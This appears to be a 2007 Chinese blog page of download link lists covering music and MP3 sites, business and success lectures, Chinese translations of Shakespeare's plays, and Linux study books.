悠长密道——原声书馆。黑魔法影视音乐城!美丽的声音,美丽的故事……等待着您与蓝衣演绎!
http://www.soundo.net/yc_index.htm

雅尼的主页——我只知道这个网站提供单曲在线视听,还有什么,你去看了就知道
http://www.yanni.com/

理查德·克莱德曼浪漫钢琴曲——本站论坛收集的《理查德·克莱德曼浪漫钢琴曲》119首mp3音乐,免费免注册提供下载
http://www.asweiren.org/bbs/lunt ... u=4&num=204

名家名作——收集理查德·克莱德曼、肯尼吉、雅尼、詹姆斯高威、保罗摩利亚的作品
http://www.charlesonline.org/music/famous_artist.htm

Huya音乐——网站制作精美,有特色,有九个欧美音乐专辑,音乐虽少了点,但都是精华  
http://www.huya.net/music/music.htm

水滴音乐——提供欧美音乐mp3下载,音乐也不是很多,但有很多歌词,也是一个不错的网站
http://music.nbjyc.com.cn

魅力吉他——百度论坛精华,由100free收集,实际是德翁的帖子,提供63首吉他曲下载
http://forum.baidu.com/cgi-bin/f ... pg=4&age=60

加州旅馆——百度论坛精华帖,是德翁的帖子,13种版本,附带一个网址,可下载更多的版本
http://forum.baidu.com/cgi-bin/f ... 0&h=1#54135

欧美音乐——一个人气较旺的欧美音乐站点,免费提供mp3下载,同时打开一个音乐论坛,可以找到一定数量的音乐
http://www.oumei.net/index.html

披头士精选——中文披头士专门网站,提供100首披头士音乐下载,链接速度较慢
http://211.101.197.94/beatles/download.asp

神秘园——神秘园音乐4CD,提供mp3下载,但不太稳定,我下载过
http://yini.lili.cc/secretgarden/download.htm

Winamp Radi——Winamp网络电台,128Kpbs,音质好,我觉得不错
http://www.shoutcast.com

   
天碟落地——提供6张经典音乐大碟mp3下载,在恐怖海峡有3张专辑下载,请在晚上(11点钟以前)下载
http://yfok.vicp.net/fan/fan.htm

苏俄音乐——有丰富的苏俄音乐,可惜的是mp3格式不多,大部分是asf格式,凑合着听吧
http://xue-fan.y365.com/download.html

音乐地图,爱听音乐的朋友不要错过。
cn.51.net/online.php>http://pengwcn.51.net/online.php

部分杰出的音乐公司及杂志与音响技术等站点
http://www.thinktip.com/bbs/music.htm
Namm新纪元音乐杂- http://go4.163.com/namm/index1.htm
日本音乐信息中心- http://www.jamic.org/
我爱Mp3搜索引擎- http://www.5imp3.com/

=======英文音乐站=======
Download.com- http://download.com.com/
21st Century Mp3- http://www.21century-mp3.com/
MP3.com- http://www.mp3.com/
水滴音乐- http://music.nbjyc.com.cn/
Chinto Music Lover- http://chinto.hypermart.net/
CrazyEMusic.com 欧美流行风- http://61.139.37.148/music/
Music Cool- http://www.musiccool.net/
音乐城市- http://www.musiccity.com
MP3.BOX.SK- http://mp3.box.sk/
Your Digital Music Oasis- http://www.dmusic.com/
Lycos Music- http://music.lycos.com/
VH1.com- http://www.vh1.com/
AMG All Music Guide- http://www.allmusic.com/
country.com- http://www.country.com/
MP3 Search- http://music.salon.com.cn/
leon83.com- http://www.leon83.com/
Welcome to Fast Search & Transfer- http://www.fast.no/
MusicSearch.com The Internet's Music-Only Search
Site!- http://www.musicsearch.com/
welcome to sonico.com homepage- http://en.sonico.com/
AudioFind- http://www.allmp3.com/
it's craptastic!(该站友情链结极好,音乐下载在线站极
多)- http://www.punkasspunk.com/
VITAMINIC_the music evolution- http://www.vitaminic.com/
MP3 Search- http://www.look4sound.com/
4AD- http://www.4ad.com/

=======古典音乐=======
古典音乐网- http://www.classical.net.cn/
水妖的岛- http://shuitou.net/
巴洛克音乐圣殿- http://baroque.yeah.net/
追月寻风- http://coralgz.51.net/gudian/shangshui.htm
中国音乐剧网- http://www.chinamusical.com/normal/chinamusical.html
歌剧音乐下载站- http://malei.vip.sina.com/classicaldownload.html
古典音乐下载网- http://malei.vip.sina.com/
黑暗放逐(推荐)- http://www.dzbbs.com/
星乐钢琴手(推荐)- http://www.xygqs.com/
音乐岛- http://cell.my169.com/
瞬间,永恒- http://person.zj.cninfo.net/~sanio/index.html
音乐与音响- http://music_sound.myetang.com/index.htm
..:::贝多芬爱好者同盟:::..- http://www.beethovenian.net/
古典音- http://www.chinakongzi.com/2550/music/
中国音乐教育- http://xiaoyv.myrice.com/
哆来咪- http://www.duolaimi.com/
艺声在线- http://yszxmp3.126.com/
Here is Music- http://www.hereismusic.com
=======品味音乐=======
诗歌音乐室- http://www.lifespring.com.hk/gb/music.htm
音域派(强烈推荐)- http://audio.zjg.jsinfo.net/
吉它秀- http://www.51guitar.com/
雅燃音乐天空(戏子强烈推荐)- http://www.flamesky.org/
新世纪网·纯音乐天堂(戏子强烈推荐)- http://www.cnnewage.com/
短歌行(戏子强烈推荐- http://www.audio100.com/
爵士当铺- http://www.jazzsky.cc/
R o c k Y e a r 摇滚年音乐网- http://rockyear.yeah.net/
DYING ART UNDERGROUND CDR LABEL- http://www.underfm.com.cn/
Music Game Zone 2ndMix- http://www.m-g-z.com/
我爱摇滚乐- http://www.sorock.com/
佛乐,永远开放,不着边际(强烈推荐)- http://fofilm.org/qianxiang/
爱尔兰音乐大全- http://www.drunkencrew.com/primary.htm
天籁音乐网- http://www.ynfox.com/music/index.htm
革命音乐空间- http://hong6666.myetang.com/
James Studio- http://jamesy.533.net/
大同音乐- http://61.134.13.16/mp3/omusic/index.php3
沉没的蟋蟀(强烈推荐)- http://61.136.63.120/rem/home.htm
=======歌词站=======
炫网资讯- http://music.liuxuan.com/
中文LRC歌词库- http://lrcman.yeah.net/
放肆音乐通歌词子站- http://www.yemusic.com/
歌词吾爱- http://www.51lrc.com/
=======在线MUSIC=======
彭彭听吧(强烈推荐)- http://www.oo-xx.com/
音乐红茶馆- http://www.musictea.com/
512city音乐时空- http://www.512city.net/music
MTV.com- http://www.mtv.com/
听吧音乐网- http://www.tingbar.com/
天虎音乐网- http://music.tyfo.com/
MTV-CHINA.com- http://www.mtv-china.com/feature
中国音乐在线- http://202.98.223.68/mtvtop/index2.htm
Realplay music- http://www.ahbb.net/music/realindex.htm
听听音乐- http://www.ting365.com/
网蛙- http://www.wanwa.com/
红尘驿站- http://www.thepasser.com/music/default.asp
華?#123;線上音樂雜誌- http://www.warnermusic.com.tw/
阿穆的感性音乐- http://www.amusicday.com/radio.htm
宽频音乐- http://www.c-mtv.com/
求索音乐无限- http://research.swufe.edu.cn/new/music.php
http://www.163ie.net/music/
=======下载音乐网站=======
BoxUp Music- http://www.boxup.com/
MP3 Download- http://www.finder.com.cn/mp3finder/
Soyou实达所有- http://idp.soyou.com/MP3/head
中文音乐- http://www.xuxule.com/
张雨生音乐大全- http://www.kkttkk.com/indexdown/
大陆mp3音乐超市- http://www.cdjmp3.com/
天籁村- http://music.qu-zhou.com/homepage/indexall.html
音乐极限- http://www.chinamp3.com/
mp3秀- http://www.mp3xu.com/
丽声世界- http://www.lssj.net/
汉源音乐- http://music.hyinfo.net/
MP3搜集网- http://www.88u8.com/mp3
弦音歌语- http://music.21youth.com/
mp3- http://cdp2331170.home.chinaren.com/mp3/mp3.htm
音乐先锋- http://music.188.net/
中文网络音乐资源中心- http://www.topmusic.net.cn/
天籁阁- http://www.99mp3.com/
365佳音网- http://music.ganzhou.com/
音乐磁场- http://www-jl.jl.cninfo.net/jlweb/music/
音乐加油站- http://www.yereal.com/
9SKY九天音乐网- http://www.9sky.com/
非常音乐网- http://www.verymusic.net/
摇滚音乐网- http://www.xmusics.net/
玩易音乐- http://www.jninfo.net.cn/music/
久久音乐- http://www.99music.net/index.htm
搜刮(强烈推荐)- http://www.sogua.com/
Bseven韩流娱乐网- http://www.bseven.com/
54dj俱乐部- http://www.54djclub.com/
DJ街区- http://www.dj-street.com/
飛行網- http://www.music.com.tw/
華人全球音樂網- http://www.mtvstar.com.tw/
混音电台- http://www.yesdj.com/Default.asp
娱乐在线- http://music.yn.cninfo.net/index.shtml
私人地方請立即離開- http://pop169.com/
我找我歌MP3搜索网- http://www.5find.com/
Music Heaven- http://www.charmusic.com/
Music site- http://music.zsnet.com/
中文音乐星空- http://hotcd.126.com/
中国乐坛欢迎您- http://www.cmusic.com.cn/
听者有心(强烈推荐)- http://www.musicool.com.cn/index.htm
音乐无极限- http://www.limitlessmusic.net/
浪琴音乐网- http://www.langqin.net/
轻音飞扬- http://music.stu.edu.cn/
吉通音乐在线- http://www.weihai.cngb.com/music/first.asp
飞天网景- http://music.lz.gs.cninfo.net/
亿兆音乐网之“音乐E+亿- http://music.emsky.com/
花木兰音- http://www.wmacn.com/
:::音乐之声::- http://music.ty.sx.cn/
济宁宽带数码港MP3音乐- http://tv.jninfo.net.cn/mp3/
金山网景-缤纷乐坛- http://music.jsol.net/index.html
网娱一派- http://song.beelink.com.cn/
======= 收集的音乐论坛=======
http://www.bluedown.net/cgi-bin/forums.cgi?forum=21

======= 专属音乐站点=======
穾唯,幻梦天水- http://www.douwei.net/
齐秦驿站扉页- http://www.kl.gz.cn/~flyingcg
BANDARI- http://bandari.dhs.org/
deflower.cn.st- http://deflower.cn.st/
音乐网站列表
九天音乐网 http://www.9sky.com
boxup music http://www.boxup.com
音乐听厅 http://www.nowok.net
搜刮音乐 http://www.sogua.com
嘻嘘音乐 http://www.xuxule.com
网蛙音乐网 http://www.wanwa.com
音乐极限 http://www.chinamp3.com
pop169.com http://pop169.com
音乐加油站 http://www.yemp3.com
音乐加油站(new) http://www.yevery.com
海盗音乐网 http://www.yuechen.com/index1.htm
中国音乐在线 http://www.mtvtop.com
音乐视听 http://www.real2000.org
久久音乐 http://www.99music.net
frankmp3 http://www.frankmp3.com
mp3秀 http://www.mp3xu.com
音乐天籁村 http://www.mp3boat.com
163音乐网 http://www.ting163.net/index.php
网易--唱片介绍
http://ent.163.com/new_entertainment/third_dir/010808_85399.html
音乐殿堂 http://www.91music.com
高阳MP3 http://www.gaomp3.net
听者有心 http://www.musicool.com.cn/index.htm
Soyou实达所有 http://idp.soyou.com/MP3/head/
紫龙歌词 http://www.51geci.com
天虎音乐网 http://music.tyfo.com
吉林信息港妙即刻网乐 http://music.jl.cninfo.net
中国音乐库 http://www.5460m.net
音乐的力量 http://music.gzinfo.net
269音乐频道 http://music.269.net
音乐前卫 http://music.yn.cninfo.net
音乐时空 http://www.sinofeng.com/music/
数码网 音乐频道 http://www.yes2.net/music/
网络音乐频道 http://mp3.attin.com/
焦作音乐无限 http://music.jztele.com
汉源音乐频道 http://music.hyinfo.net
Music site http://music.zsnet.com/
100mp3 http://www.100mp3.com/
视听频道 http://music.km169.net/
雅燃音乐天空 http://www.flamesky.com/
中华好歌网 http://www.haoge-china.com/index.html
短歌行 http://www.audio100.com
mp3火力网 http://garden.2118.com.cn/xu_allmp3/
音乐先锋 http://www.5see.com/mp3/
无限音乐网 http://kenfr.topcool.net/main1.html
天空音乐 http://99fun.com/skymusic/musicsky/index.asp
欧美流行风 http://61.139.37.148/music/
韩国音乐网 http://www.koreanll.com
彭彭听吧 http://www.pp-mp3.com
http://www.xuxule.com
http://www.9sky.com
http://www.chinamp3.com
http://www.audio100.com
http://hff.21cn.com:84
http://www.sogua.com
http://www.musiccool.net
http://music.tyfo.com
http://202.96.107.40/music
http://music.21youth.com
http://mp3download.myetang.com
http://www.99music.net
http://ent.sdinfo.net/music
http://music.qu-zhou.com
http://www.cardio.ru/~teehonya/mp3
http://www.mp3boat.com
http://www.tyclub.com
http://www.5566.org/music3-1.htm
http://www.wfinfo.net.cn/music/
http://www.hebnet.net/mp3/lp.htm
http://www.c-mtv.com
http://music.trueice.net/
http://music.zixia.net/
http://www.coolsong.com/bbs/index.asp
ftp://mp3:mp3@feng.d2g.com
http://www.koreanll.com/main.html#
http://www.beethoven.com
http://www.269.net
http://www.snepc.com

中文MP3网站
1.九天音乐 http://www.9sky.com/) [简体]
音乐站就该音乐多多。
2.听吧 http://www.tingbar.com/musichome/sinasearch.asp) [简体]
国内最大曲库,在线试听及网上送歌,流媒体音乐电台。
3.寂寞男孩--全新数字音乐 http://lonelyboy.yeah.net/)[简体]
mp3好站,按歌手和专辑分类,另有歌迷聊天、论坛、点歌区。
4.天籁村 http://tdk.126.com/)[简体]
mp3歌曲下载、歌迷档案、音乐故事,还有动漫音乐、古典音乐等类别。
5.mp3 Finder http://www.finder.com.cn/mp3finder/)[简体]
流行音乐网站,网罗中外流行歌曲和音乐,乐迷不容错过的好站。
6.100mp3 http://www.100mp3.com/)[繁体]
收集各种mp3网站,包括中港台的mp3。
7.中文MP3日报 http://www.sundaily.com/)[繁体]
主要提供港台歌曲的mp3下载。
8.所有MP3 http://idp.soyou.com/MP3/head/)[简体]
MP3无限,所有包揽。
9.5460中华mp3音乐库 http://www.5460m.net/)[简体]
华语mp3下载试听。
10.中国大陆mp3音乐超市 http://www.cdjmp3.com/)[简体]
大陆港台mp3歌曲大全,包括中外流行、摇滚、古典、民族等各种音乐。
11.mp3下载中心 http://mp3s.cnroot.com/)[简体]
mp3下载,mp3导航,mp3搜索引擎,mp3工具,mp3歌词。
12.mp3秀 http://www.mp3xu.com/)[简体]
港台,大陆,欧美mp3,midi,ram。
13.MP3-SKY.com http://www.mp3-sky.com/)[简体]
收录MP3音乐,包括流行,古典,摇滚,电影原声,轻音乐。
14.古典音乐网站《艺声在线MP3》 http://yszxmp3.cn99.com/)[简体]
古典音乐MP3和大量古典吉它曲MP3。
15.中国摇滚mp3站 http://chinarock.163.net/)[简体]
摇滚mp3下载,摇滚乐队,摇滚评论等。
16.MP3音乐空间 http://shiper.126.com/)[简体]
提供几千首中文MP3下载,MP3精品软件,MP3搜索引擎等!
17.Mp3音乐秀 http://mp3show.126.com/)[简体]
音乐下载和歌词下载。
18.吉他秀[Guitar show] http://www.51guitar.com/)[简体]
吉他大师、世界名琴、mp3、效果器、音箱、原创音乐和文章征集。
19.古典音乐网 http://www.classical.net.cn/)[简体]
古典乐新闻、音乐家、名曲介绍、入门、唱片、midi、mp3。
20.乌托邦摇滚 http://maogbl.at.china.com/)[简体]
前卫摇滚资讯、MP3下载、歌词下载、歌手&乐队发展史。
21.伊莎贝拉音乐网 http://my.soyou.net/~gegege/)[简体]
mp3下载,音乐排行榜,在线视听,歌词搜索。
22.汉源音乐频道 http://music.hyinfo.net/)[简体]
大量的 mp3 和 ra 歌曲。
23.赣州音乐天堂 http://music.ganzhou.com/)[简体]
MP3下载库。
24.音乐磁场 http://www.jl.jl.cn/jlweb/music/)[简体]
MP3下载,音乐软件,歌词查询。
25.什么都有—音乐站 http://music.ahbb.net/)[简体]
提供古典、流行、NewAge、摇滚以及电影原声MP3下载。
26.亚洲流行音乐广场 http://www.asiamp3.com/)[繁体]
包含歌曲推介,MP3资讯,工具和教学。
27.海盗音乐网 http://www.hdmusic.net/)[简体]
mp3下载,歌词,CD相片,MTV下载,娱乐资讯。
28.哆来咪--中国器乐曲 http://www.duolaimi.com/classic/duolaimi/my/)[简体]
中国民乐MP3下载基地。
29.天籁阁 http://tlg.ccoo.com/)[简体]
齐全的歌手资料、迅速的娱乐快报、打包的歌词下载、COOL MP3。
30.音乐听厅 http://music.nowok.com/)[简体]
音乐MP3,在线试听。
31.弦音歌语 http://music.21youth.com/)[简体]
歌星档案,排行榜,MIDI,mp4,MP3,mtv,游戏音乐,词曲查询
32.全新音乐栏目——天籁回寰 http://music.iszero.com/)[简体]
MP3和MIDI下载,乐坛新闻和排行榜及音乐播放软件等。
33.网络音乐资源中心 http://www.topmusic.net.cn/)[简体]
提供mp3、rm、vqf格式的歌库、曲库,明星档案。
34.mp3其他女歌手 http://www.only.net.cn/mp3/ow.htm) [简体]
欢迎来 only 网站,本站中文名为 绝无仅有 ! only网 ...
35.女歌手 http://playsite.myrice.com/mp3/female-9.htm)[简体]
36.mp3 http://www1.huali-cn.com/~spiderx/mp3_1.htm)[简体]
香港男歌手 香港女歌手 台湾男歌手 台湾女歌手
37.mp3 http://cdp2331170.home.chinaren.com/mp3/mp3.htm)[简体]
不要看这版内容这么少.其实里边的内容很丰富哦!作为记录着年轻人
梦想与激情的音乐篇章,校园民谣,以真诚与纯洁为标志。
38.电影原声音乐 http://www.redb52.com/musiccg15.asp)[简体]
一个详细介绍电影原声音乐的网站。
39.音乐马前炮 http://music.188.net/)[简体]
MP3下载,歌手资料,新闻,排行,以及网友点播,影视歌曲。
40.水滴音乐 http://drip.cnnb.net/)[简体]
提供英文歌词及查询,欧美乐队情况及娱乐资讯,排行榜,MP3下载。
41.日本娱乐新干线 http://japmusic.yesky.net/)[简体]
介绍关于日本娱乐的方方面面,影视音乐及jpop MP3下载。
42.海外一族,四海一家 http://chinto.isme.net/)[简体]
英文MP3s下载,加拿大华人生活点滴。
43.mp3 jukebox 点唱机 http://mpage.musicpage.com/)[繁体]
点唱站、灵温室、桌布店,主要收录港台、日本的最新流行歌曲。
44.天籁空间 http://61.134.13.16/mp3/omusic/index.php3
音乐欣赏、原创天地、歌星档案、mp3软硬件、音乐文化、音乐论坛
45.音乐极限 http://www.chinamp3.com/
中文MP3下载。歌曲排行,歌词下载,专辑碟库、留言点歌。
46.世纪青年mp3音乐站 http://music.21youth.com/
3000首以上的各类精选mp3和相关音乐评论。
47.飞行网音乐下载 http://media.music.com.tw/download/down.asp)[繁体]
台湾著名音乐站点音乐下载基地。
48.MP3 World-MP3世界 http://www.bseven.com/mp3/
韩国MP3中国MP3日本、西洋、法国、民族、的士高、影视等MP3。
49.时代音乐天地 http://www.shanghai-window.com/shan...ter/magazine/
流行音乐的天地。
50.mp3下载中心 http://www.skyhits.com/mp3.htm
mp3下载,mp3导航,mp3搜索引擎,mp3工具,mp3歌词。
51.mp3搜集网 http://www.88u8.com/mp3/
最新MP3下载。
52.MP3歌曲经典 http://aimer.home.chinaren.net/
歌迷的家园,有大量MP3经典歌曲。
53.流行mp3大全 http://www.asia-top.com/click/?account=googoo1
一千多首大陆、港台MP3歌曲下载,并提供强大的搜索引擎。
54.流行MP3音乐库 http://www.kl.gz.cn/~sunshine/music/
流行MP3音乐高速下载。
55.Popmp3 http://popmp3.6to23.com/
Mp3歌曲下载。
56.kump3 http://kump3.myetang.com/
mp3下载,收听。
57.MP3大放送 http://www.5find.com/index.htm
MP3音乐下载.
58.mp3在线酷听 http://musicword.51.net/
MP3下载尽在MP3在线酷听。
59.MP3之恋 http://go3.163.com/~mp3love/index.html
娱乐新闻、音乐社区、最新MP3音乐下载、音乐排行榜。
60.mp3大世界 http://pmp3.home.sohu.com/
娱乐新闻.最新mp3下载试听.中文mp3金曲.国外流行mp3。
61.MP3下载站 http://mp3xiu.myetang.com/
大量MP3下载,在线收听。
62.月歌心曲 http://go4.163.com/~youyueer/
原创音乐。
63.汉源音乐频道 http://music.hyinfo.net/
大量的 mp3 和 ra 歌曲。
64.精彩影室 http://jchp.edu.chinaren.com/
本站提供影视下载和在线播放,电视剧,动画片,经典MP3。
65.海盗音乐网 http://musicol.edu.chinaren.com/index1.htm
66.娱乐基地之音乐基地 http://www.etbase.net/music/
流行音乐下载,明星档案,mp3下载。
67.星易资讯网 http://www.starea.com/
娱乐新闻,MP3下载,音乐欣赏,名星档案,名星靓相,名星聊天室。
英文MP3网站
1.MP3.COM http://www.mp3.com/) [英文]
MP3入门、下载、工具及相关新闻。提供详细分类目录查询歌曲。
2.mp3site http://www.mp3site.com/) [英文]
介绍优秀的mp3网站
3.Mp3 Box http://mp3.box.sk/) [英文]
MP3下载、在线试听、歌词等项,还提供MP3搜索功能
4.Music4free.com http://www.music4free.com/) [英文]
国外优秀mp3网站。
5.dmusic.com http://www.mp3extreme.com/) [英文]
荟萃国外优秀mp3网站、相关软硬件、新闻、mp3搜索引擎。
6.MP3boy http://mp3boy.yeah.net/)[英文]
欧美音乐,MP3,音乐专辑。
7.Best of MP3 http://www.crankpuppy.com/)[英文]
大量mp3下载,提供mp3下载、歌词搜索、CD搜索等。
8.emp3 http://www.emp3dance.com/)[英文]
最新mp3舞曲下载。
9.数码音乐 http://www.cybertropix.com/)[英文]
通过它,你可以找到关于mp3的新闻、软件、网站以及mp3音乐
10.MUSIC.TUCOWS.COM http://tucows.mp3.com.cn/)[英文]
提供大量的MP3下载。
11.MP3搜索(Lycos MP3 Search) http://music.lycos.com/downloads/)[英文]
可按歌名和歌手名字查寻MP3歌曲。
12.马友友(Ma Yo-Yo) http://www.yo-yoma.com/)[英文]
著名大提琴手。
13.电影音乐(FilmMusic) http://www.filmmusic.com/)[英文]
内容包括问题解答,电影作曲家,购买等。
14.电影声线 http://www.filmtracks.com/)[英文]
电影音乐人、新老电影音乐作品等.
15.梦之园电影音乐 http://www.fod-online.com/)[英文]
电影音乐在线出版物.
16.Seasons Greetings.org http://www.seasonsgreetings.org/)[英文]
圣诞老人的传说,传统和现代故事及庆祝圣诞的音乐电影。
posted @ 2007-10-07 21:07 MEYE 阅读(1851) | 评论 (0)编辑 收藏

[分享]余世维、曾士强、陈安之经济类讲座

经济类-成功经理人讲座
余世维

余世维-有效沟通(MP3版本)   
http://www.so138.com/so/so138.aspx?id=4320     
余世维-市场竞争策略分析与最佳策略选择(MP3版本)
http://www.so138.com/so/so138.aspx?id=4310     
余世维-企业变革与企业文化(MP3版本)   
http://www.so138.com/so/so138.aspx?id=4306     
余世维-领导商数(MP3版本)   
http://www.so138.com/so/so138.aspx?id=4302     
余世维-成功经理人(MP3版本)   
http://www.so138.com/so/so138.aspx?id=4298     
余世维 -赢在执行(MP3版本)   
http://www.so138.com/so/so138.aspx?id=4292     
余世维-时代光华-市场竞争策略分析与最佳策略选择
http://www.so138.com/so/so138.aspx?id=3     
余世维-管理者商情EQ   
http://www.so138.com/so/so138.aspx?id=736     
余世维-企业变革与文化^   
http://www.so138.com/so/so138.aspx?id=664   
余世维-领导商数LQ   
http://www.so138.com/so/so138.aspx?id=2     
余世维-职业经理人常犯的11种错误   
http://www.so138.com/so/so138.aspx?id=631     
余世维 - 突破中小企业瓶颈   
http://www.so138.com/so/so138.aspx?id=663     
余世维-如何成为一个成功的职业经理人   
http://www.so138.com/so/so138.aspx?id=633     
余世?赢在执行   
http://www.so138.com/so/so138.aspx?id=4     
余世维-如何提升企业经理人的执行力   
http://www.so138.com/so/so138.aspx?id=1466     
余世维《成功经理人》厦门版 MP3   
http://www.so138.com/so/so138.aspx?id=437     
余世维成功经理人(精彩)   
http://www.so138.com/so/so138.aspx?id=1     



陈安之

赢商系列 陈安之 超速创业(音频)   
http://www.so138.com/so/so138.aspx?id=4806      
陈安之-如何成为行业营销第一名推广演讲   
http://www.so138.com/so/so138.aspx?id=4838   
陈安之新概念绝不裸奔视频   
http://www.so138.com/so/so138.aspx?id=3608   
陈安之-新加坡财经追踪频道   
http://www.so138.com/so/so138.aspx?id=3614   
陈安之-超级成功学(音频)   
http://www.so138.com/so/so138.aspx?id=2325      
陈安之---行销法则   
http://www.so138.com/so/so138.aspx?id=309   
陈安之--创业法则   
http://www.so138.com/so/so138.aspx?id=307   
陈安之---领导法则
http://www.so138.com/so/so138.aspx?id=308   
陈安之-人才法则   
http://www.so138.com/so/so138.aspx?id=311   
陈安之《超级NAC心理学》mp3   
http://www.so138.com/so/so138.aspx?id=580      
陈安之_做个赚钱的总裁
http://www.so138.com/so/so138.aspx?id=2695   
陈安之_孙子兵法成功学   
http://www.so138.com/so/so138.aspx?id=398   
陈安之老师出席法拉利跑车盛典   
http://www.so138.com/so/so138.aspx?id=2326   
陈安之-时间管理mp3   
http://www.so138.com/so/so138.aspx?id=2004   
陈安之-要你成功-中央电视台访问记录   
http://www.so138.com/so/so138.aspx?id=874   
陈安之_台湾乔治亚人寿保险演讲   
http://www.so138.com/so/so138.aspx?id=399   
陈安之_如何永远成功   
http://www.so138.com/so/so138.aspx?id=397   
陈安之_如何成功致富   
http://www.so138.com/so/so138.aspx?id=395   
陈安之_快速致富的秘诀
http://www.so138.com/so/so138.aspx?id=394   
陈安之_超级成功学(12集视频)   
http://www.so138.com/so/so138.aspx?id=393
陈安之 超级说服力(音频)
http://www.so138.com/so/so138.aspx?id=392
陈安之系列 超速创业
http://www.so138.com/so/so138.aspx?id=5433
陈安之-选对行业赚大钱(内训资料)
http://www.so138.com/so/so138.aspx?id=863
陈安之-说服力=财富
http://www.so138.com/so/so138.aspx?id=5327   

曾仕强
曾仕强点评胡雪岩(48集)   
http://www.so138.com/so/so138.aspx?id=14   
中道.齐家三部曲之二 家庭教育-曾仕强   
http://www.so138.com/so/so138.aspx?id=4724   
中道.齐家三部曲之一 爱情与婚姻-曾仕强   
http://www.so138.com/so/so138.aspx?id=4719   
《台湾商界之父曾仕强中国式管理 VCD》   
http://www.so138.com/so/so138.aspx?id=865   
曾仕强-中国式管理-总裁领导学   
http://www.so138.com/so/so138.aspx?id=113   
曾仕强-人性管理   
http://www.so138.com/so/so138.aspx?id=542   
曾仕强-发挥潜能超越自我   
http://www.so138.com/so/so138.aspx?id=542   
曾仕强 - 超世纪大易管理学^   
http://www.so138.com/so/so138.aspx?id=572   
曾仕强-组织行为学-中层管理~   
http://www.so138.com/so/so138.aspx?id=585   
曾仕强-《中国式管理:管理vs领导--卓越经理人必修课》
http://www.so138.com/so/so138.aspx?id=1493   
曾仕强-中国管理哲学六字真言   
http://www.so138.com/so/so138.aspx?id=405
http://dl.njfiw.gov.cn/books/

http://www.zxbc.cn/  
posted @ 2007-10-07 19:47 MEYE 阅读(625) | 评论 (0)编辑 收藏

莎士比亚经典全部!!!!

《麦克白》http://book.zxrs.net/shashi/down/maikebai.chm
《裘力斯·凯撒》http://book.zxrs.net/shashi/down/qiulisi.chm
《诗选》http://book.zxrs.net/shashi/down/shashibi.chm
《泰尔亲王配力克里斯》http://book.zxrs.net/shashi/down/taierqin.chm
《泰特斯·安德洛尼克斯》http://book.zxrs.net/shashi/down/taitesi.chm
《特洛伊罗斯与克瑞西达》http://book.zxrs.net/shashi/down/teluoyi.chm
《威尼斯商人》http://book.zxrs.net/shashi/down/weinisi.chm
《维洛那二绅士》 http://book.zxrs.net/shashi/down/weiluona.chm
《温莎的风流娘儿们》http://book.zxrs.net/shashi/down/wenshade.chm  
《无事生非》http://book.zxrs.net/shashi/down/wushisheng.chm
《辛白林》http://book.zxrs.net/shashi/down/xinbailin.chm
《驯悍记》http://book.zxrs.net/shashi/down/xunhanji.chm
《雅典的泰门》http://book.zxrs.net/shashi/down/yadiande.chm
《一报还一报》http://book.zxrs.net/shashi/down/yibaohuan.chm
《约翰王》 http://book.zxrs.net/shashi/down/yuehanwang.chm
《终成眷属》http://book.zxrs.net/shashi/down/zongchengjuan.chm
《仲夏夜之梦》 http://book.zxrs.net/shashi/down/zongxiaye.chm
《爱的徒劳》 http://book.zxrs.net/shashi/down/aidetulao.exe
《奥瑟罗》 http://book.zxrs.net/shashi/down/aoshailuo.chm
《暴风雨》 http://book.zxrs.net/shashi/down/baofengyu.chm  
《错误的喜剧》 http://book.zxrs.net/shashi/down/cuowudexiju.chm
《第十二夜》  http://book.zxrs.net/shashi/down/dishierye.chm
《冬天的故事》  http://book.zxrs.net/shashi/down/dongtiandegushi.chm
《哈姆雷特》 http://book.zxrs.net/shashi/down/hamuleite.chm
《亨利八世》  http://book.zxrs.net/shashi/down/henglibashi.chm
《亨利六世上篇》  http://book.zxrs.net/shashi/down/hengliliushishangpian.chm
《亨利六世中篇》 http://book.zxrs.net/shashi/down/hengliliushizhongpian.chm
《亨利六世下篇》 http://book.zxrs.net/shashi/down/hengliliushixiapian.chm
《亨利四世上篇》  http://book.zxrs.net/shashi/down/henglisishishangpian.chm
《亨利四世下篇》 http://book.zxrs.net/shashi/down/henglisishixiapian.chm
《亨利五世》 http://book.zxrs.net/shashi/down/hengliwushi.chm
《皆大欢喜》  http://book.zxrs.net/shashi/down/jiedahuanxi.chm
《科利奥兰纳斯》 http://book.zxrs.net/shashi/down/keliaolannasi.chm
《李尔王》 http://book.zxrs.net/shashi/down/lierwang.chm
《理查二世》http://book.zxrs.net/shashi/down/lichaershi.chm
《理查三世》http://book.zxrs.net/shashi/down/lichasanshi.chm
《罗密欧与朱丽叶》http://book.zxrs.net/shashi/down/luomiouyuzhuliye.chm

《60分钟企业经营战略》 和《运筹帷幄-诸葛亮兵法》

《运筹帷幄-诸葛亮兵法》 :http://www.qiouzhiniao.cn/html/d ... i/20070430/312.html
《60分钟企业经营战略》 :http://www.qiouzhiniao.cn/html/d ... i/20070430/313.html

[下载]几本linux学习的书籍

本人正在进行linux 的学习 希望这些资料对linux爱好者有用
linux 教材大全 ftp://down.eshuba.com/eshuba/xitongxiangguan/Linuxjcdq.rar

linux 使用大全 http://down.eshuai.cn/shuba/xito ... %C3%B4%F3%C8%AB.rar
linux 学习宝典 http://down1.cnhacker.com/booksdown/07013103050c8cb659a28f9ff.rar

linux 从入门到精通 http://www.gouhuo.com/study/linuxbook.zip
练成linux 高手 http://www.jz5u.com/download.asp?id=15590&downid=0
送给linux 初学者 ftp://211.95.73.26/hl/送给初学Linux的穷人Linux系统指令大全.pdf

linux 系统管理 ftp://211.95.73.26/1zxhlinux.rar
linux 命令大全 http://ftpgz5.pconline.com.cn/exam/it/Linux061114.rar
linux 软件工程师 ftp://222.214.218.42/book3/20060 ... 81-4941bcee1f11.pdf

 

基础学习 http://www.00083.com/soft/upload ... 84b69a63c2ed2a47af3
基础教程完整版 http://download.chinaitlab.com/download.asp?id=34873
命令全集 http://down.linuxmine.com/soft/0/1/01000001.rar

使用学习教程 ftp://222.214.216.57/book2/20061 ... 16-c8b5facb0654.chm
网络安全配置 http://vip.hackbase.com/vipsoft/vipteacher/20050305linux29.rar
linux 从入门到精通 ftp://down.eshuba.com/eshuba/200601/Linux ??????.rar

 

http://ftpgz13.pconline.com.cn/pub/download/200205/linuxsite.rar
新手管理员手册 http://www.00083.com/soft/upload ... fc01983a9ded8943b62
安装与配置简明手册 http://cpss.zz.ha.cn/study/linux ... %f7%ca%d6%b2%e1.zip
